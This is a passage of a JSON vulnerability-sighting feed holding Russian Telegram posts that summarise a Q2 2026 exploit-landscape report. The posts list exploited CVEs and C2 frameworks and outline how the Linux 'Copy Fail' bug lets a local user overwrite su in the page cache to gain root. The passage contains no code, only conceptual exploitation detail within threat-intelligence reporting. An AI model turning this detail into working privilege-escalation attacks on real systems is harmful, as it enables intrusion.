\u0440\u0430\u043d\u043d\u044f\u044f \u043f\u0443\u0431\u043b\u0438\u043a\u0430\u0446\u0438\u044f \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442\u043e\u0432 \u0434\u0430\u0435\u0442 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u043f\u0440\u0435\u0438\u043c\u0443\u0449\u0435\u0441\u0442\u0432\u043e \u043f\u0435\u0440\u0435\u0434 \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u0430\u043c\u0438, \u0443 \u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u043d\u0435 \u043e\u0441\u0442\u0430\u0435\u0442\u0441\u044f \u0432\u0440\u0435\u043c\u0435\u043d\u0438 \u043d\u0430 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435.\n\n\u0422\u0430\u043a\u0436\u0435 \u0430\u043a\u0442\u0443\u0430\u043b\u044c\u043d\u044b\u043c\u0438 \u043e\u0441\u0442\u0430\u044e\u0442\u0441\u044f \u00ab\u0437\u0430\u0441\u043b\u0443\u0436\u0435\u043d\u043d\u044b\u0435\u00bb \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 \u041f\u041e \u0434\u043b\u044f Windows, \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442\u044b \u043a \u043a\u043e\u0442\u043e\u0440\u044b\u043c \u0440\u0435\u0448\u0435\u043d\u0438\u044f \u041b\u041a \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u0432\u0430\u044e\u0442 \u0447\u0430\u0449\u0435 \u0432\u0441\u0435\u0433\u043e.\n\n\u0412 \u0447\u0430\u0441\u0442\u043d\u043e\u0441\u0442\u0438, \u044d\u0442\u043e CVE-2018-0802 \u0438 CVE-2017-11882 \u0432 \u043a\u043e\u043c\u043f\u043e\u043d\u0435\u043d\u0442\u0435 Equation Editor; CVE-2017-0199 \u0432 Microsoft Office \u0438 WordPad; CVE-2023-38831 \u0438 CVE-2025-6218 (ZDI-CAN-27198) \u0432 WinRAR; CVE-2025-8088 \u043f\u043e \u043f\u0440\u0438\u043d\u0446\u0438\u043f\u0443 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u0430\u043d\u0430\u043b\u043e\u0433\u0438\u0447\u043d\u0430\u044f CVE-2025-6218.\n\n\u041f\u0435\u0440\u0435\u0447\u0438\u0441\u043b\u0435\u043d\u043d\u044b\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043c\u043e\u0433\u0443\u0442 \u0431\u044b\u0442\u044c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u044b \u0434\u043b\u044f \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u044f \u043f\u0435\u0440\u0432\u043e\u043d\u0430\u0447\u0430\u043b\u044c\u043d\u043e\u0433\u043e \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u043a \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0439 \u0441\u0438\u0441\u0442\u0435\u043c\u0435, \u0430 \u0442\u0430\u043a\u0436\u0435 \u0434\u043b\u044f \u043f\u043e\u0432\u044b\u0448\u0435\u043d\u0438\u044f \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0439.\n\n\u0412 Linux \u0432\u043e \u0432\u0442\u043e\u0440\u043e\u043c \u043a\u0432\u0430\u0440\u0442\u0430\u043b\u0435 2026 \u0433\u043e\u0434\u0430 \u0442\u043e\u0436\u0435 \u043d\u0430\u0447\u0430\u043b\u0430\u0441\u044c \u0447\u0435\u0440\u043d\u0430\u044f \u043f\u043e\u043b\u043e\u0441\u0430. \u0422\u0430\u043a, \u0431\u044b\u043b \u0440\u0430\u0441\u043a\u0440\u044b\u0442 \u043a\u043b\u0430\u0441\u0441 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 Dirty Frag, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u0433\u0430\u0440\u0430\u043d\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u043f\u043e\u0432\u044b\u0448\u0435\u043d\u0438\u0435 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0439 \u0432\u043d\u0443\u0442\u0440\u0438 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u043e\u043d\u043d\u043e\u0439 \u0441\u0438\u0441\u0442\u0435\u043c\u044b.\n\n\u0412\u0441\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043f\u0443\u0431\u043b\u0438\u043a\u043e\u0432\u0430\u043b\u0438\u0441\u044c \u0432\u043e \u0432\u0442\u043e\u0440\u043e\u043c \u043a\u0432\u0430\u0440\u0442\u0430\u043b\u0435 2026 \u0433\u043e\u0434\u0430, \u0442\u0430\u043a \u0438\u043b\u0438 \u0438\u043d\u0430\u0447\u0435 \u043e\u0442\u043d\u043e\u0441\u0438\u043b\u0438\u0441\u044c \u043a \u043a\u044d\u0448\u0438\u0440\u0443\u044e\u0449\u0435\u0439 \u043f\u043e\u0434\u0441\u0438\u0441\u0442\u0435\u043c\u0435 Linux.\n\n\u0421\u0440\u0435\u0434\u0438 \u043d\u0438\u0445 \u043d\u0430\u0438\u0431\u043e\u043b\u0435\u0435 \u0430\u043a\u0442\u0438\u0432\u043d\u043e \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u043e\u0432\u0430\u043b\u0438\u0441\u044c \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0435: CVE-2026-31431 (Copy Fail), CVE-2026-43284, CVE-2026-43500 (Dirty Frag), CVE-2026-46300 (Fragnesia), CVE-2026-31635 (DirtyDecrypt), CVE-2026-43494 (PinTheft) \u0438 CVE-2026-46331 (pedit COW).\n\n\u0412\u0441\u0435 \u043e\u043d\u0438 \u0441\u0440\u0430\u0437\u0443 \u0441\u0442\u0430\u043b\u0438 \u043f\u043e\u043f\u0443\u043b\u044f\u0440\u043d\u044b\u043c\u0438 \u0441\u0440\u0435\u0434\u0438 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u043e\u0432. \u041f\u0440\u0438 \u044d\u0442\u043e\u043c \u0440\u0435\u0448\u0435\u043d\u0438\u044f \u041b\u041a \u043f\u0440\u043e\u0434\u043e\u043b\u0436\u0430\u044e\u0442 \u0442\u0430\u043a\u0436\u0435 \u0434\u0435\u0442\u0435\u043a\u0442\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u043f\u043e\u043f\u044b\u0442\u043a\u0438 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u043e\u0442\u043d\u043e\u0441\u0438\u0442\u0435\u043b\u044c\u043d\u043e \u0441\u0442\u0430\u0440\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439: CVE-2022-0847 (Dirty Pipe), CVE-2019-13272, CVE-2021-22555, CVE-2023-32233.\n\n\u0412 \u0440\u0430\u0441\u043f\u0440\u0435\u0434\u0435\u043b\u0435\u043d\u0438\u0438 \u043e\u043f\u0443\u0431\u043b\u0438\u043a\u043e\u0432\u0430\u043d\u043d\u044b\u0445 \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442\u043e\u0432 \u043f\u043e \u0442\u0438\u043f\u0430\u043c \u041f\u041e \u0432\u043e \u0432\u0442\u043e\u0440\u043e\u043c \u043a\u0432\u0430\u0440\u0442\u0430\u043b\u0435 2026 \u0433\u043e\u0434\u0430 \u043f\u043e\u044f\u0432\u0438\u043b\u0438\u0441\u044c \u043a\u0430\u0442\u0435\u0433\u043e\u0440\u0438\u0438, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0434\u0430\u0432\u043d\u043e \u043d\u0435 \u043f\u043e\u043f\u0430\u0434\u0430\u043b\u0438 \u0432 \u0432\u044b\u0431\u043e\u0440\u043a\u0443. \u0422\u0430\u043a, \u043c\u044b \u0441\u043d\u043e\u0432\u0430 \u0432\u0438\u0434\u0438\u043c \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442\u044b \u0434\u043b\u044f \u0442\u0430\u043a\u043e\u0439 \u043f\u043b\u0430\u0442\u0444\u043e\u0440\u043c\u044b, \u043a\u0430\u043a SharePoint.\n\n\u0412\u043e \u0432\u0442\u043e\u0440\u043e\u043c \u043a\u0432\u0430\u0440\u0442\u0430\u043b\u0435 2026 \u0433\u043e\u0434\u0430 \u0432 APT-\u0430\u0442\u0430\u043a\u0430\u0445 \u043d\u0430\u043c\u0435\u0442\u0438\u043b\u0441\u044f \u0442\u0440\u0435\u043d\u0434 \u043d\u0430 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435 \u043d\u043e\u0432\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0441\u0440\u0430\u0437\u0443 \u0441 \u043c\u043e\u043c\u0435\u043d\u0442\u0430 \u0438\u0445 \u043f\u0443\u0431\u043b\u0438\u043a\u0430\u0446\u0438\u0438.\n\n\u041f\u0440\u0438 \u044d\u0442\u043e\u043c, \u043a\u0430\u043a \u0438 \u0440\u0430\u043d\u044c\u0448\u0435, \u0432 \u041b\u041a \u043d\u0430\u0431\u043b\u044e\u0434\u0430\u043b\u0438 \u043c\u043d\u043e\u0433\u043e 0-day. \u0421\u0442\u043e\u0438\u0442 \u043e\u0431\u0440\u0430\u0442\u0438\u0442\u044c \u043e\u0441\u043e\u0431\u043e\u0435 \u0432\u043d\u0438\u043c\u0430\u043d\u0438\u0435 \u043d\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c Langflow - \u044d\u0442\u043e \u043e\u0434\u0438\u043d \u0438\u0437 \u043f\u0435\u0440\u0432\u044b\u0445 \u0441\u043b\u0443\u0447\u0430\u0435\u0432, \u043a\u043e\u0433\u0434\u0430 APT \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u0443\u044e\u0442 \u0442\u0435\u0445\u043d\u043e\u043b\u043e\u0433\u0438\u0438 \u0418\u0418, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0441\u0435\u0439\u0447\u0430\u0441 \u0432\u043e \u043c\u043d\u043e\u0433\u0438\u0445 \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u044f\u0445 \u0442\u043e\u043b\u044c\u043a\u043e \u043d\u0430\u0447\u0438\u043d\u0430\u044e\u0442 \u0438\u043d\u0442\u0435\u0433\u0440\u0438\u0440\u043e\u0432\u0430\u0442\u044c.\n\n\u0421\u0430\u043c\u044b\u043c\u0438 \u0440\u0430\u0441\u043f\u0440\u043e\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u043d\u044b\u043c\u0438 C2-\u0444\u0440\u0435\u0439\u043c\u0432\u043e\u0440\u043a\u0430\u043c\u0438 \u043f\u043e-\u043f\u0440\u0435\u0436\u043d\u0435\u043c\u0443 \u043e\u0441\u0442\u0430\u044e\u0442\u0441\u044f Sliver, Havoc, Adaptix\u04212 \u0438 Metasploit.\n\n\u041d\u0430\u0438\u0431\u043e\u043b\u0435\u0435 \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u043d\u044b\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0438 \u0434\u0435\u0442\u0430\u043b\u044c\u043d\u0430\u044f \u0438\u043d\u0444\u043e\u0433\u0440\u0430\u0444\u0438\u043a\u0430 - \u0432 \u043e\u0442\u0447\u0435\u0442\u0435.", "creation_timestamp": "2026-08-31T00:00:48.349184Z"}, {"uuid": "8d8171ed-8308-4d71-9083-f018b4c6f943", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://t.me/critical_bug/1773", "content": "\ud83d\udcc4 \u041f\u043e\u043b\u043d\u043e\u0435 \u043e\u0431\u044a\u044f\u0441\u043d\u0435\u043d\u0438\u0435 CVE-2026-31431 (Copy Fail)", "creation_timestamp": "2026-07-19T16:00:08.544307Z"}, {"uuid": "8f93658e-a113-4bc3-95f0-a4ae4b9ffdc0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://t.me/critical_bug/1774", "content": "\ud83d\udcc4 \u041f\u043e\u043b\u043d\u043e\u0435 \u043e\u0431\u044a\u044f\u0441\u043d\u0435\u043d\u0438\u0435 CVE-2026-31431 (Copy Fail)", "creation_timestamp": "2026-07-19T16:00:08.574038Z"}, {"uuid": "d148a226-7c3b-48ab-ad47-563301daa850", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://t.me/critical_bug/1776", "content": "\ud83d\udd25 CVE-2026-31431: \"Copy Fail\" \u2014 \u0443\u043d\u0438\u0432\u0435\u0440\u0441\u0430\u043b\u044c\u043d\u044b\u0439 Root \u0432 Linux \u0437\u0430 \u0441\u0435\u043a\u0443\u043d\u0434\u044b \ud83d\ude31\n\n\u041f\u043e\u043a\u0430 \u0432\u0441\u0435 \u043e\u0431\u0441\u0443\u0436\u0434\u0430\u043b\u0438 AI, \u0432 \u0441\u0430\u043c\u043e\u043c \u0441\u0435\u0440\u0434\u0446\u0435 Linux \u043d\u0430\u0448\u043b\u0438 \u0431\u0430\u0433, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0436\u0438\u043b \u0442\u0430\u043c \u0441 2017 \u0433\u043e\u0434\u0430. \u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043f\u043e\u043b\u0443\u0447\u0438\u043b\u0430 \u043d\u0430\u0437\u0432\u0430\u043d\u0438\u0435 \"Copy Fail\", \u0438 \u043e\u043d\u0430 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043b\u044e\u0431\u043e\u043c\u0443 \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u043e\u043c\u0443 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044e \u0441\u0442\u0430\u0442\u044c root-\u043e\u043c \u043f\u0440\u0430\u043a\u0442\u0438\u0447\u0435\u0441\u043a\u0438 \u0432 \u043b\u044e\u0431\u043e\u043c \u0441\u043e\u0432\u0440\u0435\u043c\u0435\u043d\u043d\u043e\u043c \u0434\u0438\u0441\u0442\u0440\u0438\u0431\u0443\u0442\u0438\u0432\u0435.\n\n\ud83d\udca5 \u0412 \u0447\u0435\u043c \u043f\u0440\u0438\u043a\u043e\u043b?\n\u041f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u0432 \u043a\u0440\u0438\u043f\u0442\u043e\u0433\u0440\u0430\u0444\u0438\u0447\u0435\u0441\u043a\u043e\u043c \u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441\u0435 \u044f\u0434\u0440\u0430 (algif_aead). \u0418\u0437-\u0437\u0430 \u043a\u0440\u0438\u0432\u043e\u0439 \u043e\u043f\u0442\u0438\u043c\u0438\u0437\u0430\u0446\u0438\u0438 9-\u043b\u0435\u0442\u043d\u0435\u0439 \u0434\u0430\u0432\u043d\u043e\u0441\u0442\u0438, \u043f\u0440\u0438 \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0435\u043d\u043d\u044b\u0445 \u043c\u0430\u043d\u0438\u043f\u0443\u043b\u044f\u0446\u0438\u044f\u0445 \u0441 \u0441\u0438\u0441\u0442\u0435\u043c\u043d\u044b\u043c \u0432\u044b\u0437\u043e\u0432\u043e\u043c splice(), \u044f\u0434\u0440\u043e \u043d\u0430\u0447\u0438\u043d\u0430\u0435\u0442 \u043f\u0438\u0441\u0430\u0442\u044c \u0434\u0430\u043d\u043d\u044b\u0435 \u043f\u0440\u044f\u043c\u043e \u0432 page cache \u0441\u0438\u0441\u0442\u0435\u043c\u043d\u044b\u0445 \u0444\u0430\u0439\u043b\u043e\u0432, \u0438\u0433\u043d\u043e\u0440\u0438\u0440\u0443\u044f \u0432\u0441\u0435 \u043f\u0440\u0430\u0432\u0430 \u0434\u043e\u0441\u0442\u0443\u043f\u0430. \n\n\ud83d\udea8 \u041f\u043e\u0447\u0435\u043c\u0443 \u044d\u0442\u043e \u043a\u0440\u0438\u0442\u0438\u0447\u043d\u043e?\n\u2014 \u042d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044f \u0437\u0430\u043d\u0438\u043c\u0430\u0435\u0442 \u0441\u0435\u043a\u0443\u043d\u0434\u044b.\n\u2014 \u0420\u0430\u0431\u043e\u0442\u0430\u0435\u0442 \u043d\u0430 Ubuntu, RHEL, Amazon Linux \u0438 \u0434\u0440\u0443\u0433\u0438\u0445.\n\u2014 \u041d\u0435 \u0442\u0440\u0435\u0431\u0443\u0435\u0442 \u0441\u043b\u043e\u0436\u043d\u044b\u0445 \u0443\u0441\u043b\u043e\u0432\u0438\u0439 (race conditions) \u2014 \u0431\u0430\u0433 \u043b\u043e\u0433\u0438\u0447\u0435\u0441\u043a\u0438\u0439 \u0438 \u043e\u0442\u0440\u0430\u0431\u0430\u0442\u044b\u0432\u0430\u0435\u0442 \u043d\u0430 100%.\n\u2014 \u041c\u043e\u0436\u043d\u043e \"\u043d\u0430 \u043b\u0435\u0442\u0443\" \u043f\u0440\u043e\u043f\u0430\u0442\u0447\u0438\u0442\u044c \u0432 \u043f\u0430\u043c\u044f\u0442\u0438 /usr/bin/su \u0438 \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0448\u0435\u043b\u043b.\n\n\ud83d\udee1 \u0427\u0442\u043e \u0434\u0435\u043b\u0430\u0442\u044c?\n\u0421\u0440\u043e\u0447\u043d\u043e \u043e\u0431\u043d\u043e\u0432\u043b\u044f\u0442\u044c \u044f\u0434\u0440\u043e \u0434\u043e \u043f\u043e\u0441\u043b\u0435\u0434\u043d\u0438\u0445 \u043f\u0430\u0442\u0447\u0435\u0439 (7.0, 6.19.12, 6.18.22) \u0438\u043b\u0438 \u0436\u0434\u0430\u0442\u044c \u0431\u044d\u043a\u043f\u043e\u0440\u0442\u043e\u0432 \u043e\u0442 \u0432\u0430\u0448\u0435\u0433\u043e \u0434\u0438\u0441\u0442\u0440\u0438\u0431\u0443\u0442\u0438\u0432\u0430.\n\n\ud83d\udcc4 \u041f\u043e\u043b\u043d\u044b\u0439 \u0442\u0435\u0445\u043d\u0438\u0447\u0435\u0441\u043a\u0438\u0439 \u0440\u0430\u0437\u0431\u043e\u0440 \u0441 \u0434\u0435\u0442\u0430\u043b\u044f\u043c\u0438 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u2014 \u0432 PDF \u043d\u0438\u0436\u0435 \ud83d\udc47\n\n\ud83d\udc8e \u0425\u043e\u0447\u0435\u0448\u044c \u0443\u0437\u043d\u0430\u0432\u0430\u0442\u044c \u043e \u0442\u0430\u043a\u0438\u0445 \u0434\u044b\u0440\u0430\u0445 \u043f\u0435\u0440\u0432\u044b\u043c? \u041f\u043e\u0434\u043f\u0438\u0441\u044b\u0432\u0430\u0439\u0441\u044f \u043d\u0430 \u043d\u0430\u0448\u0443 VIP-\u0432\u0435\u0440\u0441\u0438\u044e \u2014 \u0442\u0430\u043c \u044d\u043a\u0441\u043a\u043b\u044e\u0437\u0438\u0432\u043d\u044b\u0435 \u0440\u0430\u0437\u0431\u043e\u0440\u044b \u0438 0-day \u043e\u0442\u0447\u0435\u0442\u044b \u0440\u0430\u043d\u044c\u0448\u0435 \u0432\u0441\u0435\u0445! \ud83d\ude80\n\n#Linux #CVE #Root #LPE #CyberSecurity #Infosec #critical_bug", "creation_timestamp": "2026-07-19T16:00:08.602288Z"}, {"uuid": "b22402d6-69e7-4910-b544-57f49be06a61", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://t.me/critical_bug/1777", "content": "\ud83d\udcc4 \u041f\u043e\u043b\u043d\u043e\u0435 \u043e\u0431\u044a\u044f\u0441\u043d\u0435\u043d\u0438\u0435 CVE-2026-31431 (Copy Fail)", "creation_timestamp": "2026-07-19T16:00:08.631497Z"}, {"uuid": "b192dd9a-52f2-4956-bf61-3f05009c5d58", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://t.me/S_E_Reborn/6571", "content": "\u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u041b\u0430\u0431\u043e\u0440\u0430\u0442\u043e\u0440\u0438\u0438 \u041a\u0430\u0441\u043f\u0435\u0440\u0441\u043a\u043e\u0433\u043e \u0432\u044b\u043a\u0430\u0442\u0438\u043b\u0438 \u043e\u0442\u0447\u0435\u0442 \u043f\u043e \u043b\u0430\u043d\u0434\u0448\u0430\u0444\u0442\u0443 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0438 \u044d\u043a\u0441\u043f\u043b\u043e\u0438\u0442\u043e\u0432 \u0437\u0430 \u0432\u0442\u043e\u0440\u043e\u0439 \u043a\u0432\u0430\u0440\u0442\u0430\u043b 2026 \u0433\u043e\u0434\u0430.\n\n\u0412 \u0446\u0435\u043b\u043e\u043c \u043a\u043e\u043d\u0441\u0442\u0430\u0442\u0438\u0440\u0443\u044e\u0442\u0441\u044f \u0437\u043d\u0430\u0447\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0435 \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u044f. \u0412\u043e-\u043f\u0435\u0440\u0432\u044b\u0445, \u043a\u043e\u043b\u0438\u0447\u0435\u0441\u0442\u0432\u043e \u0437\u0430\u0440\u0435\u0433\u0438\u0441\u0442\u0440\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0445 CVE \u0434\u043e\u0441\u0442\u0438\u0433\u043b\u043e \u0431\u0435\u0441\u043f\u0440\u0435\u0446\u0435\u0434\u0435\u043d\u0442\u043d\u043e\u0433\u043e \u0443\u0440\u043e\u0432\u043d\u044f, \u0432 \u0442\u043e\u043c \u0447\u0438\u0441\u043b\u0435 \u043f\u043e \u0447\u0430\u0441\u0442\u0438 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0445.\n\n\u042d\u0442\u043e \u0441\u0432\u044f\u0437\u0430\u043d\u043e \u0441 \u043f\u043e\u0432\u0441\u0435\u043c\u0435\u0441\u0442\u043d\u044b\u043c \u0432\u043d\u0435\u0434\u0440\u0435\u043d\u0438\u0435\u043c \u0418\u0418 \u043a\u0430\u043a \u0434\u043b\u044f \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u043a\u0438 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0439, \u0442\u0430\u043a \u0438 \u0434\u043b\u044f \u043f\u043e\u0438\u0441\u043a\u0430 \u043f\u0440\u043e\u0431\u043b\u0435\u043c \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438. \u041a\u0430\u043a \u0441\u043b\u0435\u0434\u0441\u0442\u0432\u0438\u0435, \u043f\u043e\u044f\u0432\u0438\u043b\u0438\u0441\u044c \u0446\u0435\u043b\u044b\u0435 \u043a\u043b\u0430\u0441\u0441\u044b \u043d\u043e\u0432\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439, \u0432 \u0447\u0430\u0441\u0442\u043d\u043e\u0441\u0442\u0438 \u0432 \u0441\u0435\u0442\u0435\u0432\u043e\u0439 \u043f\u043e\u0434\u0441\u0438\u0441\u0442\u0435\u043c\u0435 Linux.\n\n\u0412\u043e-\u0432\u0442\u043e\u0440\u044b\u0445, \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u0441\u0442\u0430\u043b\u0438 \u0447\u0430\u0449\u0435 \u043e\u043f\u0438\u0441\u044b\u0432\u0430\u0442\u044c \u044d\u043a\u0441\u043f\u043b\u043e\u0438\u0442\u044b \u043a \u043d\u0435\u0437\u0430\u043a\u0440\u044b\u0442\u044b\u043c \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044f\u043c. \u041f\u043e\u0434\u043e\u0431\u043d\u044b\u0435 \u043f\u0443\u0431\u043b\u0438\u043a\u0430\u0446\u0438\u0438 \u043c\u043e\u0433\u0443\u0442 \u0432\u044b\u0437\u044b\u0432\u0430\u0442\u044c \u0431\u043e\u043b\u044c\u0448\u043e\u0439 \u0440\u0435\u0437\u043e\u043d\u0430\u043d\u0441, \u043f\u043e\u0441\u043a\u043e\u043b\u044c\u043a\u0443 \u043f\u043e\u0442\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u043e\u0442\u043a\u0440\u044b\u0432\u0430\u044e\u0442 \u0434\u043b\u044f \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u043e\u0432 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c \u0430\u0442\u0430\u043a\u043e\u0432\u0430\u0442\u044c \u043d\u0435\u0437\u0430\u0449\u0438\u0449\u0435\u043d\u043d\u044b\u0435 \u0441\u0438\u0441\u0442\u0435\u043c\u044b.\n\n\u0412\u043e \u0432\u0442\u043e\u0440\u043e\u043c \u043a\u0432\u0430\u0440\u0442\u0430\u043b\u0435 2026 \u0433\u043e\u0434\u0430 \u043f\u043e\u044f\u0432\u0438\u043b\u0441\u044f \u043d\u043e\u0432\u044b\u0439 \u043f\u0440\u0435\u0446\u0435\u0434\u0435\u043d\u0442 \u0432 \u043f\u0443\u0431\u043b\u0438\u043a\u0430\u0446\u0438\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432 \u043a\u043e\u043c\u043f\u043e\u043d\u0435\u043d\u0442\u0430\u0445 Windows \u0438 \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442\u043e\u0432 \u043a \u043d\u0438\u043c: \u043d\u0435 \u0434\u043e\u0436\u0438\u0434\u0430\u0442\u044c\u0441\u044f, \u043f\u043e\u043a\u0430 \u0438\u0445 \u0437\u0430\u0440\u0435\u0433\u0438\u0441\u0442\u0440\u0438\u0440\u0443\u044e\u0442, \u043d\u0435 \u0433\u043e\u0432\u043e\u0440\u044f \u0443\u0436\u0435 \u043e \u043f\u0430\u0442\u0447\u0430\u0445.\n\n\u0412 \u0447\u0430\u0441\u0442\u043d\u043e\u0441\u0442\u0438, \u0430\u043d\u043e\u043d\u0438\u043c\u043d\u044b\u0439 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044c Nightmare Eclipse (\u0438\u043b\u0438 Chaotic Eclipse) \u043e\u043f\u0443\u0431\u043b\u0438\u043a\u043e\u0432\u0430\u043b \u0441\u043f\u0438\u0441\u043e\u043a \u043d\u043e\u0432\u044b\u0445 \u00ab\u0438\u043c\u0435\u043d\u043d\u044b\u0445\u00bb \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432 \u0440\u0430\u0437\u043b\u0438\u0447\u043d\u044b\u0445 \u043f\u043e\u0434\u0441\u0438\u0441\u0442\u0435\u043c\u0430\u0445 Windows (BlueHammer, RedSun, YellowKey, GreenPlasma, RougePlanet, UnDefend).\n\n\u041d\u0435\u0441\u043c\u043e\u0442\u0440\u044f \u043d\u0430 \u0442\u043e \u0447\u0442\u043e \u0442\u0430\u043a\u0438\u0435 \u0441\u043b\u0443\u0447\u0430\u0438 \u043f\u043e\u043a\u0430 \u0435\u0434\u0438\u043d\u0438\u0447\u043d\u044b, \u0432 \u041b\u041a \u043f\u043e\u043b\u0430\u0433\u0430\u044e\u0442, \u0447\u0442\u043e \u043e\u043d\u0438 \u043f\u0435\u0440\u0435\u0440\u0430\u0441\u0442\u0443\u0442 \u0432 \u043f\u043e\u043b\u043d\u043e\u0446\u0435\u043d\u043d\u044b\u0439 \u0442\u0440\u0435\u043d\u0434. \u041f\u0440\u0438 \u044d\u0442\u043e\u043c \u0440\u0430\u043d\u043d\u044f\u044f \u043f\u0443\u0431\u043b\u0438\u043a\u0430\u0446\u0438\u044f \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442\u043e\u0432 \u0434\u0430\u0435\u0442 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c 